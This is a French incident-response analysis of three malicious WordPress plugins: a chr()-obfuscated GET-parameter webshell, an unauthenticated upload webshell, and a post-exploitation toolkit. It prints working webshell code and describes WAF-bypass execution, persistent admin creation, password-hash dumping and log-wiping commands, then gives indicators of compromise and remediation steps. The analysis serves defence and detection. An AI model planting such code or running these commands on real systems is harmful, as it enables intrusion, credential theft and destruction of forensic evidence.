Contexte de la découverte
Au cours d’une intervention de réponse a incident sur un site WordPress compromis, trois plugins suspects ont été identifiés dans le répertoire wp-content/plugins/. Aucun de ces plugins ne correspond à un plugin officiel WordPress. Leur analyse révèle un dispositif de compromission en couches, déployé sur trois jours.
| Plugin | Type | Taille | Sophistication | Rôle |
|---|---|---|---|---|
| flexible-analytics | Webshell | 196 o | Très faible | Backdoor furtive à un paramètre |
| utility-framework-692 | Uploader | 987 o | Faible | Upload de fichiers + bypass SSL |
| wordpress-configurator-optimizer | Toolkit | 71 842 o | Élevée | Panneau post-exploitation complet |
Chronologie de la compromission
Les horodatages des fichiers (timestamps mtime) permettent de reconstituer la séquence de déploiement. Les trois fichiers ont été déposés entre minuit et une heure du matin, à 24h d’intervalle :
- 12 juin, 00:58 : Déploiement du toolkit principal,
wordpress-configurator-optimizer.php(71 Ko, 1 516 lignes). Panneau d’administration offensif complet avec authentification, exécution de commandes, création d’administrateurs WordPress, dump de base de données et nettoyage de logs.
- 13 juin, 00:55 : Déploiement du webshell d’upload,
utility-framework-692.php(987 octets). Formulaire d’upload sans authentification et fonction de bypass SSL.
- 14 juin, 00:47 : Déploiement de la backdoor minimale,
flexible-analytics.php(196 octets). One-liner obfusqué exécutant des commandes via un paramètre GET.
Plugin 1 : flexible-analytics
Identification
| Nom déclaré | flexible-analytics |
| Version | 1.0 |
| Fichiers | 1 fichier PHP unique (196 octets) |
| SHA-256 | 6d63b3aa2b942de7a3305155c17eca26297cc0f45b8d0da851edafbfb7e308ac |
| MD5 | fb4fa63ee6d405b04933251a56ede88f |
Analyse du code
L’intégralité du code tient en une ligne :
<?php
/**
* Plugin Name: flexible-analytics
* Version: 1.0
*/
$bleideik=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$rghhbtl=$bleideik;
if(isset($_GET["z960"]))$rghhbtl($_GET["z960"]);
Déobfuscation
La séquence d’appels chr() reconstruit simplement le mot system caractère par caractère : chr(115) = s, chr(121) = y, chr(115) = s, chr(116) = t, chr(101) = e, chr(109) = m. Le code déobfusqué revient donc à : if(isset($_GET["z960"])) system($_GET["z960"]);
L’attaquant exécute alors des commandes système en accédant à une URL du type /wp-content/plugins/flexible-analytics/flexible-analytics.php?z960=id.
Techniques d’obfuscation
- Construction dynamique du nom de fonction via
chr()pour éviter la détection par signature sur le mot-clésystem - Noms de variables aléatoires (
$bleideik,$rghhbtl) pour échapper aux heuristiques
Comportement et objectif
La petite taille et l’absence d’interface font de ce plugin un implant de persistance furtif. Il ne génère aucune sortie en l’absence du paramètre z960, le rendant invisible aux visiteurs et administrateurs en faisant une backdoor de secours, difficile à repérer lors d’un audit de surface.
Plugin 2 : utility-framework-692
Identification
| Nom déclaré | Utility Framework 692 |
| Version | 1.6.4 |
| Auteur déclaré | WP Core (usurpé) |
| Fichiers | 1 fichier PHP unique (987 octets) |
| SHA-256 | cedec18b58cd2092ecf3be0220af55d4cdbbdf0f4661024864d53fc251efd0f8 |
| MD5 | c40dcef89d8be09841a565077ff2ae8c |
Analyse du code
Webshell d’upload
echo '<center>Telegram: @WebshellSR <br>Contact : @Devco1 & @BIBIL0DAY<br>'
.php_uname()."<br/>"
.'<form method="post" enctype="multipart/form-data">'
.'<input type="file" name="__">'
.'<input name="_" type="submit" value="Upload"></form>';
if($_POST){
if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){
echo 'OK';
} else {
echo 'ER';
}
}
Le script affiche les informations système via php_uname() et présente un formulaire d’upload sans aucune authentification. N’importe quel visiteur connaissant l’URL peut uploader un fichier arbitraire sur le serveur. Le fichier est copié avec son nom original dans le répertoire courant, sans aucune vérification de type, d’extension ou de taille.
Fonction de bypass SSL
function ssl_bypass_curl($url, $post_data = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// ...
}
La désactivation de la vérification SSL (CURLOPT_SSL_VERIFYPEER et CURLOPT_SSL_VERIFYHOST à false) facilite les communications sortantes vers des serveurs de Command & Control (C2) sans blocage par la vérification de certificat. La fonction n’est pas appelée dans ce fichier mais reste disponible pour des scripts uploadés ultérieurement.
Comportement et objectif
Ce plugin combine deux fonctions : dropper (dépôt de fichiers supplémentaires) et utilitaire réseau (bypass SSL pour les communications sortantes).
Plugin 3 : wordpress-configurator-optimizer
Identification
| Nom déclaré | WordPress Configurator Optimizer |
| Version | 2.4.1 |
| Auteur déclaré | Developer Tools Team (fictif) |
| URI plugin | https://wordpress.org/plugins/wordpress-configurator-optimizer/ (fictif) |
| Licence | GPL v2 (usurpée) |
| Fichiers | 1 fichier PHP unique (71 842 octets, 1 516 lignes) |
| SHA-256 | 77cf2af32729c7f3b20592104da12b7d6bb8e4a747ac3fa800ca6f8bc43f3395 |
| MD5 | f27fc453a98f5a1e8bc3c18c2534e3a3 |
Module 1, authentification et anti-détection
error_reporting(0);
@ini_set('display_errors', 0);
session_start();
$auth_pass = 'c8a88e504dfc8f35f7369480438bcae7';
$session_name = 'wp_admin_session_' . substr(md5($_SERVER['HTTP_HOST']), 0, 8);
La suppression des erreurs PHP rend le webshell invisible dans les logs d’erreurs. L’accès est protégé par un mot de passe dont le hash MD5 est c8a88e504dfc8f35f7369480438bcae7. Le nom de session est dynamique et préfixé avec wp_admin_session_, permettant un fonctionnement multi-sites sans collision. La page de login imite l’écran de connexion WordPress.
Module 2, moteur d’exécution de commandes
Il implémente 10 méthodes distinctes de contournement de WAF pour exécuter des commandes système, même lorsque des fonctions comme system() sont bloquées :
| # | Méthode | Technique |
|---|---|---|
| 1 | PHP Filter chains | Inclusion via data:// et php://filter |
| 2 | Unicode bypass | Reconstruction via échappements hexadécimaux et Unicode |
| 3 | Variable variables | Construction dynamique via variables indirectes |
| 4 | Internal functions | array_map('chr', [...]) pour reconstruire le nom |
| 5 | ReflectionFunction | Invocation via l’API de réflection PHP |
| 6 | WordPress-specific | Abus de wp_remote_get() et WP_Filesystem |
| 7 | Encoding chain | ROT13, Base64, Hex pour encoder system |
| 8 | PHP wrapper abuse | Wrappers php://filter, compress.zlib:// |
| 9 | Fragmentation | str_split('system', 2) puis réassemblage |
| 10 | Fonctions alternatives | Fallback vers shell_exec, exec, passthru, proc_open, popen |
En dernier recours, le code tente assert() et eval() avec obfuscation supplémentaire. Cette cascade garantit l’exécution de commandes sur la quasi-totalité des configurations PHP, y compris avec des fonctions partiellement désactivées via disable_functions.
Module 3, création d’administrateurs WordPress
Pour comprendre la technique utilisée ici, il faut savoir comment WordPress gère les droits d’accès. Le système repose sur deux couches distinctes :
- Les rôles (
administrator,editor,subscriber…) sont des étiquettes qui regroupent un ensemble de permissions. Quand on attribue le rôleadministratora un utilisateur, WordPress lui accorde d’un bloc toutes les permissions associées a ce rôle. - Les capabilities sont les permissions unitaires elles-mêmes :
edit_posts,install_plugins,delete_users, etc. Ce sont elles qui déterminent concrètement ce qu’un utilisateur peut faire. Un rôle n’est qu’un raccourci pour attribuer un lot de capabilities d’un coup.
En temps normal, ces deux couches sont synchronisées : attribuer un rôle accorde les capabilities correspondantes, retirer le rôle les révoque. Mais WordPress permet aussi d’ajouter des capabilities individuellement a un utilisateur, indépendamment de son rôle. C’est exactement ce qu’exploite le toolkit.
require_once($wp_files['wp_load']);
$user_id = wp_create_user($username, $password, $email);
$user = new WP_User($user_id);
$user->set_role('administrator');
// + attribution explicite de 40+ capabilities
Le code attribue d’abord le rôle administrator, puis ajoute une par une plus de 40 capabilities directement sur l’utilisateur (dont unfiltered_upload, edit_files, update_core, install_plugins). Ces capabilities individuelles sont stockées séparément en base de données, dans la table wp_usermeta.
C’est une technique de persistance par redondance. En effet, un administrateur légitime qui détecterait le compte suspect et lui retirerait le rôle administrator supprimerait les permissions liées au rôle, mais les 40+ capabilities ajoutées individuellement resteraient actives. Inversement, un nettoyage qui purgerait les capabilities custom sans toucher au rôle laisserait un administrateur pleinement fonctionnel. Il faut faire les deux pour neutraliser complétement le compte.
Module 4, dump massif des utilisateurs
Le module :
- Parse
wp-config.phpvia regex pour extraire les identifiants de base de données - Se connecte directement à MySQL via
mysqli, contournant l’API WordPress - Implémente une pagination par ID avec gestion de lots (batch de 1 000) pour les bases volumineuses
- Augmente les limites d’exécution (
max_execution_time = 600,memory_limit = 512M) - Exporte en deux formats :
username:email:hashetemail:hash(directement utilisable par Hashcat ou John the Ripper) - Inclut le fichier
wp-config.phpcomplet dans l’archive, exposant tous les secrets (identifiants BDD, clés de salage, secrets d’authentification) - Génère une archive ZIP (ou TAR en fallback) téléchargeable
Module 5, upload de fichiers
Upload de fichiers arbitraires dans un répertoire configurable avec chmod 0755 automatique et limite de 100 Mo. Permet le déploiement de malwares supplémentaires.
Module 6, console interactive
Terminal web exécutant les commandes via le moteur de bypass WAF. Inclut des quick commands pré-définis pour la reconnaissance : whoami, ps aux, netstat -an, find / -perm -4000 (recherche de binaires SUID pour l’escalade de privilèges), crontab -l, etc.
Module 7, anti-forensics (Clean logs)
Un module de nettoyage de traces complet qui tente de :
- Supprimer tous les fichiers créés par le toolkit (suivis via un log interne
tool_wp.log) - Effacer les historiques shell (
~/.bash_history,~/.zsh_history) - Vider les logs Apache, Nginx et httpd (
access.log,error.log) - Vider les logs système (
/var/log/auth.log,/var/log/syslog,/var/log/messages) - Purger le journal systemd (
journalctl --vacuum-time=1d) - Supprimer les sessions PHP et fichiers temporaires
- Sur Windows : effacer les journaux d’événements via
wevtutil cl, les fichiers temporaires et les logs IIS
Indicateurs de compromission (IOCs)
Chemins de fichiers suspects
| Chemin | Type |
|---|---|
| wp-content/plugins/flexible-analytics/flexible-analytics.php | Backdoor RCE |
| wp-content/plugins/utility-framework-692/utility-framework-692.php | Webshell + Uploader |
| wp-content/plugins/wordpress-configurator-optimizer/wordpress-configurator-optimizer.php | Toolkit post-exploitation |
| tool_wp.log | Log interne du toolkit |
| wp_dump_*.zip / wp_dump_*.tar | Archives de dump utilisateurs |
Signatures et patterns de detection
| Pattern | Contexte |
|---|---|
| $_GET[“z960”] | Parametre de la backdoor flexible-analytics |
| c8a88e504dfc8f35f7369480438bcae7 | Hash MD5 du mot de passe du toolkit |
| wp_admin_session_ | Préfixe de session du toolkit |
| @WebshellSR / @Devco1 / @BIBIL0DAY | Signatures Télégram |
| tool_wp.log | Fichier de log du toolkit |
| SHELL_INITIALIZED | Marqueur de log |
| WP_ADMIN_CREATE_SUCCESS | Marqueur de log |
| WP_USERS_DUMP_SUCCESS | Marqueur de log |
| ssl_bypass_curl | Fonction de bypass SSL |
| $bleideik / $rghhbtl | Variables obfusquées |
Recommandations
- Mettre le site hors ligne (mode maintenance ou coupure de l’accès web)
- Sauvegarder l’état actuel : copie complète avant toute modification
- Supprimer les trois plugins et vérifier l’absence de
tool_wp.log,wp_dump_*.zip,wp_dump_*.tar - Changer les mots de passe de l’ensemble des utilisateur et révoquer toutes les sessions WordPress
- Changer immédiatement les identifiants de base de données dans
wp-config.php - Regénérer les clés de salage WordPress (AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY et les SALT)
Pour aller encore plus loin, il est également possible de :
- Comparer les fichiers core WordPress avec une version saine pour détecter les autres fichiers modifiés/backdoors
- Vérifier les tâches cron (WP-Cron et cron système) pour des tâches planifiées malveillantes
- Changer les accès FTP/SFTP/panel d’hébergement (cPanel, Plesk, autre)
- Changer les clés API/secrets tiers utilisés par le site (paiement, mailing, intégrations)
- Vérifier/changer les accès SSH si présents
- Vérifier les permissions fichiers